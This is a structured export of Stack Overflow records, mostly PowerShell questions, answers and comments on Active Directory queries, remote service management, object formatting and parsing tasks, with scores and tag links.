tags question: http://stackoverflow.com/q/79304198
type: Tag
tags question: http://stackoverflow.com/q/79271108
tag name: microsoft-graph-intune
tags question: http://stackoverflow.com/q/79524788

http://stackoverflow.com/comment/139751365
has text: can you check this if it helps
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79251748
score: 0

http://stackoverflow.com/q/79276442
score: 0
tagged with: sorting
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139961018
has title: Get workstation list from multiple domains & sort by name, export by name
has body: Currently scanning multiple specific OU's in multiple domains from AD. I have this code set to scan for pc names & export it to various csv files based on specific name filters. I use these lists for other tasks. Primarily, I'd like to export sorted by name (often named by building / dept / floor or type - such as BLDGA3Fxxxx, BLDGB4Fxxxxx, HR2Fxxxxx, xxxxKIOSK, etc) Secondarily, would be great to be able to export to separate files by partial name - NameFilter1.csv, NameFilter2.csv, Etc. Anyone able to assist on this? $OUs = 'OU=WORKSTATION,DC=domain1,DC=rootdomain,DC=com','OU=WORKSTATION,DC=domain2,DC=rootdomain,DC=com','OU=WORKSTATION,DC=domain3,DC=rootdomain,DC=com' $domains = "domain1","domain2","domain3" $exportfiles = "Computer_ALL.txt", "Computer_Name1.txt", "Computer_Name2.txt", "Computer_name3.txt", "Computer_name4.txt" $Filters = '*', '*NameFilter1*', 'NameFilter2*', '*NameFilter3', 'NameFilter4*' foreach ($filter in $filters) { # Loop through OU & domain simultaneously and get ALL workstations $c = 0 write-host $filter for ($i = 0; $i -lt $OUs.Count; $i++) { write-host "Scanning All Workstations in $($OUs[$i]) on $($domains[$i])..." -BackgroundColor DarkCyan Get-ADComputer -Filter { Name -notlike 'VDI-*' -and Name -notlike 'VM-*' -and Name -notlike 'HOS-*' -and Name -like $Filter} -SearchBase $($OUs[$i]) -Server $($domains[$i]) | ForEach-Object { #Write-Host ($_.Name + " --- " + $_.DistinguishedName) $_.Name | Out-File -LiteralPath $($exportfiles[$n]) -Append $c++ } } write-host "$c total $filter pc's found. Saved to" $($exportfiles[$n]) -BackgroundColor DarkCyan write-host " " $n++ }
tagged with: filter
type: Question
answer count: 0
tagged with: powershell

http://stackoverflow.com/comment/139899426
score: 0
has text: @Thomas it did not work, and gave the same error. The object in the variable has 2 components, ID and Type. I did this before with the Graph API, and it worked. That's why I'm trying the same way with the Office 365 API.
comment on: http://stackoverflow.com/q/79334181
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/140047519
type: QuestionComment
type: Comment
has text: See following : https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_powershell_editions?view=powershell-7.5
score: 0
comment on: http://stackoverflow.com/q/79410420

http://stackoverflow.com/comment/140021644
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79397825
score: 1
has text: I'm a bit new to the field and I didn't understand that it was reaching out to another machine to fulfill the request. I didn't think this was a double-hop issue but it appears it is. Thanks for the help.

http://stackoverflow.com/q/79380218
type: Question
has answer: http://stackoverflow.com/a/79380755
tagged with: powershell
answer count: 1
has body: I'm trying to get the script below to check on the services if it's not started and it will start the service. It should also check the startup to automatic. But somehow it's only starting the service but not setting the service to automatic. *Credits for help from Dilly B on one his previous post $textFile = Get-Content C:\temp\servers.txt foreach ($line in $textFile) { $computerName = $line.split(":")[0] #Getting computername by using Split $serviceNames = $line.split(":")[1] #Getting Service names by using split foreach ($serviceName in $serviceNames.split(",")) { # Again using split to handle multiple service names $service = Get-Service -Name $serviceNames -ComputerName $computerName if ($service.StartType -eq 'Manual') { $service | Set-Service -StartupType Automatic } try { Write-Host " Trying to start $serviceName in $computerName" Get-Service -ComputerName $computerName -Name $serviceName | Start-Service -ErrorAction Stop Write-Host "SUCCESS: $serviceName has been started" } catch { Write-Host "Failed to start $serviceName in $computerName" } } }
type: UnansweredQuestion
has title: Powershell script to check services on remote machines and to start them and also set it to automatic startup
score: 0

http://stackoverflow.com/q/79327313
has comment: http://stackoverflow.com/comment/139890111
has body: I have recently installed neovim on my PC (windows 10) with AstroNvim configuration. So I have tried it with JetBrains Mono nerd font which is required for icons and I also set font to JetBrans Mono NFM. I am running neovim on Windows Powershell But I have noticed that some icons are only question marks because they are not rendered. I have ran neovim on vscode terminal and there all icons are rendered properly. I don't know what is causing this issue. I have tried many options but non of them are seems to work. But if I run neovim on Visual Studio Code no rendering issue there. This is Powershell Screen shot, Here Recent and Find word icons not rendered This is VSCode terminal Screen Shot, All icons are properly rendered. The rendering problem occurs in many areas not only here. So that's why I want to fix this issue. Also I have tried to Google it but most of the are for Linux. And there are path and structure differences. So as a beginner little bit of struggle there.
score: 0
tagged with: powershell
has comment: http://stackoverflow.com/comment/139887720
has comment: http://stackoverflow.com/comment/139888629
type: UnansweredQuestion
tagged with: neovim
tagged with: windows
type: Question
has comment: http://stackoverflow.com/comment/139916107
has title: Neovim icons not rendered in Powershell
answer count: 0
tagged with: nerd-fonts

http://stackoverflow.com/comment/140029769
comment on: http://stackoverflow.com/a/79398658
type: Comment
score: 1
type: AnswerComment
has text: Now I just need some time digging in :)

http://stackoverflow.com/comment/140062430
comment on: http://stackoverflow.com/q/79416406
score: 0
type: QuestionComment
has text: Thank you both @mklement0 and Iron lets go with extracting the specific information of interest. I will mock up a minimal JSON file with samples for you to practice. Does that work for you? If we cant find a solution, then I will use the ConverTo-Json object model. I dont know enough programming to install it/use it, but will try my best. How do I attach a file to this question? Or should I edit the question and add the JSON sample?
type: Comment

http://stackoverflow.com/a/79416284
answers question: http://stackoverflow.com/q/79416192
has body: I wonder is there some other benefits it brings when doing such explicit type casting ? None that I can think of other than the string example shown below. And is such type casting really needed when passing the $var1 to the downstream pipeline part ConvertTo-Json cmdlet ? For the question being asked, you really don't need to wrap your hashtable for ConvertTo-Json to work correctly. You're correct in that PSObject serves the purpose of an invisible wrapper. The .NET doc already describes it perfectly: Wraps an object providing alternate views of the available members and ways to extend them. Members can be methods, properties, parameterized properties, etc. Those members referred to in the description that could be added to a PSObject can be: [psobject].Assembly.GetTypes() | Where-Object { $_.IsSubclassOf([System.Management.Automation.PSMemberInfo]) } As for alternative views they're probably referring to adding the special PSTypeName property and then assigning a formatting or extended type data, see for example: How can I set left/right column justification in Powershell's "format-table". They could also refer to adding a PSMemberSet: $object = [pscustomobject]@{ foo = 1 bar = 2 baz = 3 } $propertySet = [System.Management.Automation.PSPropertySet]::new( 'DefaultDisplayPropertySet', [string[]] ('foo', 'bar')) $object.PSObject.Members.Add( [System.Management.Automation.PSMemberSet]::new( 'PSStandardMembers', [System.Management.Automation.PSPropertySet[]] $propertySet)) # $object now hides `baz` property in the default display $object There is usually no need to wrap an object in PSObject manually, however you can do so if you want to extend that object. For example for a string, if you wrap it you could add a new property to it: $string = [psobject] "a string" $string.PSObject.Properties.Add([psnoteproperty]::new('NewProperty', 'hi')) $string # still shows the actual value $string.NewProperty # but now has a hidden property PSObject is also the base for creating PS…
score: 0
has comment: http://stackoverflow.com/comment/140058000
type: Answer

http://stackoverflow.com/a/79397862
answers question: http://stackoverflow.com/q/79397825
upvote count: 1
score: 0
has comment: http://stackoverflow.com/comment/140021303
type: Answer
downvote count: 1
has comment: http://stackoverflow.com/comment/140020856
has body: While your user is in the Administrator group, the PowerShell session is not running in an elevated "As Administrator" session. Simply adding the -RunAsAdministrator parameter should run the shell in an elevated session (Documentation: RunAsAdministrator) Therefore your example becomes: invoke-command -ComputerName $ComputerName -Credential $cred -RunAsAdministrator -ScriptBlock { .... }

http://stackoverflow.com/q/79400911
has answer: http://stackoverflow.com/a/79401002
score: 2
upvote count: 2
downvote count: 0
tagged with: powershell
type: AnsweredQuestion
has title: How can I set left/right column justification in Powershell's "format-table"
accepted answer: http://stackoverflow.com/a/79400938
has body: When I use "format-table" to display data created with [pscustomobject], if the data in a column is a value pulled from the output of a commandlet, it shows on the right of its column. However, if a value is something I set manually, it shows on the left of its column. Here's an example using the "NetApp.ONTAP" module: $volSis = Get-NcSis -Name 'MyVolume' $object = [pscustomobject]@{ 'Compression' = $volSis.IsCompressionEnabled #This resolves to 'True' or 'False' 'Dedupe' = 'Foo' } $object | Format-Table The output of this is: Compression Dedupe ----------- ------ True Foo Is there any way to force all columns in a table to be left (or right) justified? Alternatively, is there a way to force manually-created data (i.e. the 'Foo' in this example) to be right-justified?
tagged with: powershell-5.1
has answer: http://stackoverflow.com/a/79400938
tagged with: formatting
favorite count: 0
answer count: 2
possible better answer: http://stackoverflow.com/a/79401002
type: Question

http://stackoverflow.com/comment/139823870
type: QuestionComment
has text: Looks like a solution could also be to create a printer share on your computer and then just copy the pdf to the share `Copy-Item somefile.pdf -Destination \\computername\printer`
type: Comment
comment on: http://stackoverflow.com/q/79292221
score: 0

http://stackoverflow.com/q/79372408
type: Question
tagged with: exchange-server
answer count: 1
has answer: http://stackoverflow.com/a/79372783
has title: User impersonation on Exchange Online using Powershell?
has body: I'm trying to write a powershell script to enumerate through the emails in a user's exchange online mailbox and display basic identifying information (subject, receive date, etc) this is to allow me to check if copying of emails from one mailbox to another (using a third party migration tool) has been successful. To do this I need to use User Impersonation. Googling the subject I seem to be able to find plenty of instructions on how to setup your powershell application so it CAN use user impersonation, but I can't seem to find a guide on how to actually use it in powershell. Given that I am connected to an ExchangeOnline server with an account that is allowed to do User Impersonation, what is the code to actually impersonate a user for a series of operations (e.g. Get-MailboxFolder) ?
tagged with: powershell
score: 0
type: UnansweredQuestion
tagged with: exchangewebservices

http://stackoverflow.com/comment/139986788
type: QuestionComment
type: Comment
has text: Actually a better (duplicate) reference on suppressing output is [this answer](https://stackoverflow.com/questions/55659654/why-does-range-borderaround-emit-true-to-the-console/55665963#55665963), which describes why unexpected output might occur and multiple techniques for handling it.
score: 1
comment on: http://stackoverflow.com/q/79379722

http://stackoverflow.com/q/79303120
type: Question
has comment: http://stackoverflow.com/comment/139849478
tagged with: visual-studio
has title: manipulate .sqlproj file with powershell to change name of files in certain directory
has comment: http://stackoverflow.com/comment/139843542
has body: So I have a SQL project in my visual studio solution. In it, I got various folders, one is for update scripts which aren't supposed to be built, but most of the others(in specific folder and subfolders) need to be build, sometimes I forget to change the setting from None to Build. Was thinking of changing this with a PowerShell script. But I'm kind of a noob in PS atm. Here is what I have so far to select the nodes, but so far, the list seems to be empty. [xml]$xml = Get-Content 'Cob.Vessel.Wages.Database.sqlproj' $selection = $xml.SelectNodes("//Project//ItemGroup//None//SubType") Write-Output $selection I'm not expecting you to present me with the whole solution to my problem but would appreciate a fix to my current problem. Sample of my project file: <?xml version="1.0" encoding="utf-8"?> <Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" /> NotInBuild NotInBuild I can display the root node(Project), but that's it. No idea how to display child nodes.
answer count: 1
tagged with: powershell
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139858423
has answer: http://stackoverflow.com/a/79312054
score: 0

http://stackoverflow.com/comment/139884300
score: 0
comment on: http://stackoverflow.com/q/79325726
has text: The thing is you cannot be able to access local file path through Azure Automation. @user3276487
type: QuestionComment
type: Comment

http://stackoverflow.com/q/79276698
has comment: http://stackoverflow.com/comment/139795394
tagged with: .net
has comment: http://stackoverflow.com/comment/139795941
has comment: http://stackoverflow.com/comment/139801408
type: Question
has comment: http://stackoverflow.com/comment/139798408
downvote count: 0
tagged with: powershell
answer count: 1
has comment: http://stackoverflow.com/comment/139801490
tagged with: powershell-4.0
has body: I ran across some older code today that piqued my curiosity. I'm aware of 2x different syntactical ways of instantiating .NET objects in PowerShell 4.0 # Using New-Object to pass multiple args to the constructor $ex = New-Object -TypeName System.IO.FileNotFoundException -ArgumentList 'No File Found!', 'C:\NoFile.txt' # Alternate Syntax - how can you pass multiple args? $ex = [System.IO.FileNotFoundException] 'No File Found!' [EDIT] -- NOTES MOTIVATED BY COMMENTS The class keyword (and support for classes) was introduced with PowerShell 5.0 back in 2016. PowerShell 5.0 also (finally) exposed the native .NET class constructor methods. In terms of instantiating objects, the New-Object cmdlet has since fallen out of preferential favor with newer versions of PowerShell -- and continues to see little use today, with the exception of implementing backwards compatability (e.g. PowerShell 4.0) and authoring scripts/functions/modules that support multiple OS/PowerShell generations. Questions: Where is this alternate syntax documented? I haven't yet found anything online in terms of official documentation. How can you pass multiple arguments using this alternate syntax and call a specific constructor overload? Is there a name for this alternate syntax?
type: AnsweredQuestion
score: 3
tagged with: constructor
has comment: http://stackoverflow.com/comment/139795406
upvote count: 3
has comment: http://stackoverflow.com/comment/139798308
has comment: http://stackoverflow.com/comment/139796900
has answer: http://stackoverflow.com/a/79276760
favorite count: 0
has comment: http://stackoverflow.com/comment/139799483
accepted answer: http://stackoverflow.com/a/79276760
tagged with: type-conversion
has comment: http://stackoverflow.com/comment/139798389
has title: Constructor invocation syntax in PowerShell 4.0 and lower without using New-Object

http://stackoverflow.com/a/79386358
answers question: http://stackoverflow.com/q/79386069
type: Answer
score: 0
has comment: http://stackoverflow.com/comment/140005181
has body: Working under the Spheric Cow assumption of the SSH always returning tables with only 2 columns $mySSHResult = @' attribute |value ---------------------+----- hostname |foo version |1.1 variant_id |bar '@ # Split the incoming table by NewLine. $CustomCsvObject = $mySSHResult -split [System.Environment]::NewLine | # Skip the first 3 lines. Test it's always the same number. Select-Object -Skip 3 | # convert to a PSObject array using customized header names. ConvertFrom-Csv -Delimiter '|' -Header 'Header', 'Value' # Make a new empty hashtable. # We could make a PSObject directly, but adding elements to a Hashtable and then # converting it is MUCH faster and lighter than adding members to a PSObject. $NewTable = [hashtable]::new() # Add the various elements. foreach ($Line in $CustomCsvObject) { $NewTable[$Line.Header.Trim()] = $Line.Value.Trim() } # Convert to a PSCustomObject. $newobject = [pscustomobject]$NewTable $newobject results into variant_id hostname version ----------- --------- -------- bar foo 1.1
has comment: http://stackoverflow.com/comment/140003236

http://stackoverflow.com/q/79397825
has comment: http://stackoverflow.com/comment/140021455
type: UnansweredQuestion
score: 1
upvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/140021644
has comment: http://stackoverflow.com/comment/140021256
duplicate of: http://stackoverflow.com/q/17813002
answer count: 1
linked to: http://stackoverflow.com/q/65022178
has answer: http://stackoverflow.com/a/79397862
type: Question
downvote count: 0
has body: I'm receiving 'Access Denied' errors when running commands that require elevated privileges on a remote machine. I can log into the remote machine and run the commands, but I can't run the commands using Invoke-Command. I am a local admin on the computer and passing credentials to Invoke-Command. Both computers are in the same domain. Here's the code: $credential = get-credential $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $credential invoke-command -ComputerName $ComputerName -Credential $cred -ScriptBlock { write-host "whoami: $(whoami)" Write-Host "Is Administrator? $([Security.Principal.WindowsPrincipal]::new( [Security.Principal.WindowsIdentity]::GetCurrent() ).IsInRole([Security.Principal.WindowsBuiltinRole]::Administrator))" write-host "Execution Policy: $(Get-ExecutionPolicy)" write-host "net user: $(net user /domain $UserName)" } And the output: whoami: Domain\Username Is Administrator? True Execution Policy: Unrestricted net user: The request will be processed at a domain controller for domain domain_name. System error 5 has occurred. + CategoryInfo : NotSpecified: (System error 5 has occurred.:String) [], RemoteException + FullyQualifiedErrorId : NativeCommandError + PSComputerName : ComputerName.Domain NotSpecified: (:) [], RemoteException Access is denied. NotSpecified: (:) [], RemoteException
linked to: http://stackoverflow.com/q/17813002
has title: Powershell - Some commands won't run using Invoke-Command
tagged with: powershell

http://stackoverflow.com/a/79312282
type: Answer
answers question: http://stackoverflow.com/q/79312111
has body: To locate the <Set /> node with the attribute name set to a value of KeyStorePath, use the following XPath expression: $keyStorePathSet = $jetty.SelectSingleNode("//Set[@name = 'KeyStorePath']") $keyStorePathSet.InnerText # "D:\VALUE\ADM\VALUE.keystore"
has comment: http://stackoverflow.com/comment/139870730
score: 2
upvote count: 2
downvote count: 0

http://stackoverflow.com/comment/139994746
has text: Start the script with `Set-Culture -CultureInfo ([cultureinfo]::GetCultureInfo('nl-nl'))` so the whole script will work wit that Culture. Or if you want it only for those dates `Get-date -Format ([cultureinfo]'Nl-Nl').DateTimeFormat.ShortDatePattern`
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79383869
type: AnswerComment

http://stackoverflow.com/a/79370869
has comment: http://stackoverflow.com/comment/139989417
has comment: http://stackoverflow.com/comment/139973226
score: 4
upvote count: 4
answers question: http://stackoverflow.com/q/79369963
type: Answer
has comment: http://stackoverflow.com/comment/139976062
downvote count: 0
has body: "Powershell does not work with quoted values in the PATH variable, as it treats the quotes as ordinary characters:" Afaik, PowerShell doesn't have any native command (or automated variable) at all that returns a list of paths from the environment path for you. Meaning, you have to script this yourself. If you take the easy way and just split the environment path like $env:Path -split ';' you might indeed end up with issues where you have a literal path that contains a semicolumn. This means you have to come up with a smarter way to split you path or use an existing converter/parser. Knowing that the ConvertFrom-Csv cmdlet is very close to what you want to do, you might consider to use that: ($Env:Path | ConvertFrom-Csv -Delimiter ';' -Header (0..99)).PSObject.Properties.Value C:\Program Files (x86) C:\;My Folder C:\Program Files Explanation $Env:Path contains a single string with all the environment path joined with a semicolumn (;) ConvertFrom-Csv -Delimiter ';' splits the environment path using the semicolumn as a delimiter and also takes care about quoted values and spaces around the delimiter. -Header (0..99) defines a numeric header (from 0 up to 99[1]) for each value ConvertFrom-Csv returns a PSCustomObject, to retrieve all it's properties you use the hidden PSObject property: .PSObject.Properties Although there will be a lot of headers with an empty values using the PowerShell member access enumeration by adding the .Value property will simply return all the values that are not $Null. Note that this is build on a ConvertFrom-Csv inconsistency where the last empty cells in the last row of csv file are considered $Null (rather than an empty string), see: #17702 This is a hardcoded value for the maximum number of paths expected in the environment string which is in fact unknown. To limit the number of headers to cover at least all paths, you might use the helpful command suggested by mklement0 instead: @((($env:Path) | ConvertFrom-Csv -Delimiter ';' -Header (0..…
has comment: http://stackoverflow.com/comment/139971570
has comment: http://stackoverflow.com/comment/139984047
has comment: http://stackoverflow.com/comment/139970560
has comment: http://stackoverflow.com/comment/139973167

http://stackoverflow.com/comment/140048226
type: QuestionComment
has text: "Since student accounts are created in OUs by their start year" - I used to think the same, and then we've had so many students who repeated years, switched studies, took breaks, etc. And frankly, deleting hundreds of user accounts to see who complains screams 'lazy'. Just don't do that. Get student status from whichever faculty database you have, and/or check last-logon time.
type: Comment
comment on: http://stackoverflow.com/q/79411096
score: 1

azure-ad-b2c-custom-policy
type: Tag
tags question: http://stackoverflow.com/q/79279207
tag name: azure-ad-b2c-custom-policy

sigint
tags question: http://stackoverflow.com/q/79248095
type: Tag
tag name: sigint

http://stackoverflow.com/comment/139925250
comment on: http://stackoverflow.com/a/79344267
type: AnswerComment
type: Comment
has text: @diytechy np! Glad it helped!
score: 0

http://stackoverflow.com/a/79388969
type: Answer
downvote count: 1
has body: You must add an string interpolation for your arguments, So you must replace -ArgumentList $args by -ArgumentList '${args}'. Remember to include the single quotes. You can get more information about it here: https://learn.microsoft.com/en-us/powershell/scripting/learn/deep-dives/everything-about-string-substitutions?view=powershell-7.4 https://stackoverflow.com/a/60329476/21177419
upvote count: 0
score: -1
has comment: http://stackoverflow.com/comment/140003722
has comment: http://stackoverflow.com/comment/140003476
answers question: http://stackoverflow.com/q/79388953

http://stackoverflow.com/comment/140015168
score: 1
type: QuestionComment
has text: Try to remove the `-Force` parameter from the `Import-Module` calls, so all scripts will use the same instance of the module and thus share the module state. Move the common `log4net` initialization code out of the function, so it runs only once when the module is imported the first time. While loading .NET assemblies manually can work, the module manifest has a specific section `RequiredAssemblies` for declaring assembly dependencies, which I would use instead of `[Reflection.Assembly]::LoadFile`.
type: Comment
comment on: http://stackoverflow.com/q/79393526

http://stackoverflow.com/comment/139757874
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79255264
has text: What is the use-case for this? What will be done when a new process is found?
type: QuestionComment

http://stackoverflow.com/comment/140062840
comment on: http://stackoverflow.com/q/79419763
has text: This is all about exchanging opinions, questionable or not, but this is not really a question in the sense of questions and answers content. Don't you think this is more like the invitation for discussions? Then it rather belongs to the [Discussions section](https://stackoverflow.com/beta/discussions).
score: 4
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139887720
comment on: http://stackoverflow.com/q/79327313
type: QuestionComment
type: Comment
has text: What do you mean by "PowerShell SS"? Are you running in a regular console window (provided by `conhost.exe`) or are you running in WT (Windows Terminal)? Does the behavior between those two environments differ?
score: 0

http://stackoverflow.com/comment/139821635
comment on: http://stackoverflow.com/q/79290848
type: QuestionComment
type: Comment
has text: @JosefZ I tried my best to make it as simple as possible and simplified the code to work in all scenarios. Of course there will be filters on Event ID and defined columns to lighten the load of the query.
score: 0

http://stackoverflow.com/q/79397536
possible better answer: http://stackoverflow.com/a/79397698
has body: I have the below code line, in a script that iterates through things to install from a repository. Some things have arguments, some don't. Have come across one that doesn't, and trying to avoid having the same command more or less duplicated (along with all the error checking, etc) in a for...else command. Is there anyway to have start-process work with a $null/empty variable specified after -argumentlist that I am not thinking about? for($i=0; $i -lt $Installs.count; $i++) { $Arguments = $($Installs[$i].path) start-process -filepath $Path -argumentlist $Arguments -wait }
linked to: http://stackoverflow.com/q/52899849
has answer: http://stackoverflow.com/a/79397850
has answer: http://stackoverflow.com/a/79397698
accepted answer: http://stackoverflow.com/a/79397850
tagged with: start-process
downvote count: 0
tagged with: powershell
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/51333183
has title: Using start-process in a loop, where some programs will have arguments and some don't; Way to not have if $Arguments -ne $null
upvote count: 1
favorite count: 0
answer count: 2
score: 1
type: Question

http://stackoverflow.com/comment/139829853
type: QuestionComment
type: Comment
score: 1
comment on: http://stackoverflow.com/q/79295280
has text: You could say `-path c:\temp\*.mkv,c:\temp\*.mp4`

http://stackoverflow.com/comment/140027287
has text: So, does broken SID object has Value property? Unfortunately, I have no lab nearly to reproduce.
type: AnswerComment
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79401218

http://stackoverflow.com/a/79253221
score: 0
has body: Well, I actually got it to work on the Windows 11 24H2 machine. I was previously using the following command to import the System.Runtime.CompilerServices.Unsafe.dll Import-Module "$($ScriptPath)Modules\OldDependencies\System.Runtime.CompilerServices.Unsafe.dll" This actually worked on the Windows 11 23H2 machine. On the updated laptop I changed the code to: [System.Reflection.Assembly]::LoadFrom("$($ScriptPath)Modules\OldDependencies\System.Runtime.CompilerServices.Unsafe.dll") This actually works on both laptops. Probably wouldn't have figured it out if I didn't read this post. Still not sure what the difference is though, but I'm glad it's working though.
answers question: http://stackoverflow.com/q/79252900
type: Answer

http://stackoverflow.com/comment/139935488
comment on: http://stackoverflow.com/q/79351371
type: QuestionComment
type: Comment
has text: If it doesn't come from the `Add-Member` than I only see the property access `$sku.skuPartNumber` as a possible candidate for throwing the exception (a property can have a getter function that could internally cause an out-of-bounds access). You could put that on a separate line to determine if that actually throws: `$partNumber = $sku.skuPartNumber` and then call `$obj | Add-Member -MemberType NoteProperty -Name $partNumber -Value 0`
score: 1

http://stackoverflow.com/comment/140013106
has text: `Invoke-Expression` (`iex`) should generally be avoided and used only as a last resort, due to its inherent security risks. Superior alternatives are usually available, as in the case at hand. If there truly is no alternative, only ever use it on input you either provided yourself or implicitly trust - see [this answer](https://stackoverflow.com/a/51252636/45375).
type: Comment
score: 2
type: AnswerComment
comment on: http://stackoverflow.com/a/79393790

directive
type: Tag
tag name: directive
tags question: http://stackoverflow.com/q/79289751

http://stackoverflow.com/a/79295885
type: Answer
score: 2
upvote count: 2
downvote count: 0
answers question: http://stackoverflow.com/q/79295854
has body: The line: waveIn.DataAvailable += (s, e) =&gt; { waveFile.Write(e.Buffer, 0, e.BytesRecorded); }; Is subscribing to an event called DataAvailable. In this case the PowerShell translation would be via Register-ObjectEvent: try { $waveFormat = [NAudio.Wave.WaveFormat]::new(44100, 1) $waveFile = [NAudio.Wave.WaveFileWriter]::new($filename, $waveFormat) $waveIn = [NAudio.Wave.WaveInEvent]::new() $waveIn.WaveFormat = $waveFormat $evt = Register-ObjectEvent -InputObject $waveIn -EventName DataAvailable -Action { param($s, $e) $waveFile.Write($e.Buffer, 0, $e.BytesRecorded) } $waveIn.StartRecording() [Console]::WriteLine('Recording... Press any key to stop.') [Console]::ReadKey() $waveIn.StopRecording() [Console]::WriteLine('Recording stopped.') } finally { $waveIn.Dispose() $waveFormat.Dispose() $evt | Unregister-Event } [Console]::WriteLine('Audio recorded and saved as ' + $filename)

http://stackoverflow.com/comment/139746605
type: AnswerComment
has text: Ok so, since they're all powershell, NamedPipe always work even for a Job, you could invoke this: `Get-Runspace | Sort-Object { $_ -eq [runspace]::DefaultRunspace } | ForEach-Object Dispose` and it will allow the host to invoke its `clean` block (including a normal job) - of course this doesnt work if you're invoking a .NET method that doesn't allow the pipeline to stop (like `Thread.Sleep` however the same applies to your current implementation)
comment on: http://stackoverflow.com/a/79248980
type: Comment
score: 1

http://stackoverflow.com/comment/140005258
score: 1
comment on: http://stackoverflow.com/q/79389610
has text: `The input line is too long.` sounds like the error occurs in the batch file and exceeds the 8191 characer limit
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/140008737
has text: See https://www.reddit.com/r/PowerShell/comments/13fi4ep/list_all_attributes_in_attribute_from_getodbc/
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/79391710
type: Comment

http://stackoverflow.com/comment/139842924
type: QuestionComment
type: Comment
has text: Stop using Workflow, if you have another idea, tell me. It is the only way I know The context : I'm working on multiple servers. The first script worked on servers one by one. It took long time. So I create workflow to parallelize the process and gain about 8h. If I can change parallel limit, I can gain 3h more
score: 0
comment on: http://stackoverflow.com/q/79302651

http://stackoverflow.com/comment/139797939
type: Comment
has text: Having server names in a list of from a Read-Host prompt doesn't mean they can be reached.. Use [Test-Connection](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/test-connection) to make sure first
score: 1
comment on: http://stackoverflow.com/q/79276834
type: QuestionComment

http://stackoverflow.com/comment/139862755
score: 1
has text: I do see what you mean though. Powershell does not want to convert string arrays to object arrays `([object[]]([string[]]::new(5))).GetType()` returns a String[] while `([object[]]([char[]]::new(5))).GetType()` returns an object[]
comment on: http://stackoverflow.com/q/79314201
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139835292
has text: @mklement0 Thanks. Your various comments (both here and in response to @sirtao), along with the posed duplicates thoroughly answer the question. I have been vaguely aware of the automation null, but have never actually run into it like this. Should you wish to compile the points into an answer I would mark it as the answer, though I'm not sure how questions closed as dupes work, or what the convention is for them.
score: 1
comment on: http://stackoverflow.com/q/79296217
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/140000735
score: 0
has text: You have 3 Invoke request. The first gets a token. Second performs a query with the token. The third you do not have the token. You need to add the token to the third method.
type: QuestionComment
comment on: http://stackoverflow.com/q/79386797
type: Comment

http://stackoverflow.com/a/79402311
answers question: http://stackoverflow.com/q/79401658
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/79401658
type: Answer
has body: With /deleted in the tf command, it will display deleted items and existing items. The deleted items are followed with ;Xn where n is the deletion ID. We can add a filter to match the ;Xn to get the deleted files. Sample code below: # Run the tf command to list all items including deleted ones tf dir $/path/to/folder /deleted | Out-File -FilePath /path/to/output.txt # Read the output file and filter only the deleted items, then extract the file names Get-Content /path/to/output.txt | Where-Object { $_ -match &quot;;X\d+$&quot; } | ForEach-Object { $_ -replace &quot;;X\d+$&quot;, &quot;&quot; } | Out-File -FilePath /path/to/deleted_files.txt In this script, ;X\d+$ is a regular expression that matches any line ending with ;X followed by one or more digits. This will ensure that all deleted files, regardless of the number following ;X, are captured. And also remove :Xn for the deleted files in the list with replacement.
score: 1
upvote count: 1

http://stackoverflow.com/a/79392109
accepted answer of: http://stackoverflow.com/q/79392047
score: 1
upvote count: 1
type: AcceptedAnswer
has body: Are options only specific to Item cmdlets? They're specific to what the .NET doc describes: "for session state items like variables, aliases, and functions". What are these dedicated options for? To describe the state of the item under a PSDrive? Also described in the .NET doc: "The options that define some of the constraints...". The items that can have these constraints are under a Provider. If you wanted to check all types that have a property of type ScopedItemOptions, you could do: $target = [System.Management.Automation.ScopedItemOptions] [psobject].Assembly.GetTypes() | Where-Object IsPublic | Where-Object { $target -in $_.GetProperties().PropertyType } Or if you have ClassExplorer Module, this would give you a better look as it also includes the members: Find-Type -Namespace System.Management.Automation | Find-Member -ParameterType System.Management.Automation.ScopedItemOptions Are we allowed to specify some of options in custom function? Sure: New-Item 'function:Test-Function' -Value { 'foo' } -Options Constant function Test-Function { 'bar' } # Fails with Cannot write to function Test-Function because it is read-only or constant. If we could specify options for function, what are the cases that we would need it? Up to you, normally ScopedItemOptions is used more on PSVariables, but perhaps if you want a function that can't be overridden like the above example. Another example could be a function that is Private to the scope it was declared in and doesn't exist in other scopes, i.e.: New-Item 'function:Test-Function2' -Value { 'foo' } -Options Private Test-Function2 # Works & { Test-Function2 } # Doesn't exist here
downvote count: 0
answers question: http://stackoverflow.com/q/79392047
type: Answer

http://stackoverflow.com/comment/140004115
type: AnswerComment
has text: Np! Glad it helped @Abc
comment on: http://stackoverflow.com/a/79386074
type: Comment
score: 0

http://stackoverflow.com/comment/139769350
comment on: http://stackoverflow.com/q/79262231
type: QuestionComment
type: Comment
has text: You question is definitely unclear and needs more context. Please [edit you question](https://stackoverflow.com/posts/79262231/edit) and add an input example and an output example of what you expect. See also: [how to ask](https://stackoverflow.com/help/how-to-ask). Based on you comment, it looks like you want to continuously update a document based on a process condition which is a complete mystery for anyone reading this...
score: 0

npm
tag name: npm
tags question: http://stackoverflow.com/q/79405109
type: Tag
tags question: http://stackoverflow.com/q/79517177
tags question: http://stackoverflow.com/q/79473951

self-signed
tags question: http://stackoverflow.com/q/79305652
type: Tag
tag name: self-signed

azure-rm-template
tags question: http://stackoverflow.com/q/79343590
tag name: azure-rm-template
